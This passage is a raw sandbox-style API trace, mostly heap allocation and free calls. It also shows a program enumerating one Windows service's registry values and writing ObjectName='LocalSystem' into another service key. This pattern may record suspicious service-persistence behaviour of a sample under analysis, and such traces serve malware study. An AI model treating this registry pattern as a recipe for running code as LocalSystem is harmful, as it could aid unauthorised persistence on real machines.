0x252d328 [0223.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.677] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0223.677] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0223.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.679] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.679] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0223.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.679] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.679] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.679] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0223.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.679] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0223.680] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.681] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0223.681] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.681] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.682] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0223.682] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0223.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0223.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.683] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0223.683] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.683] 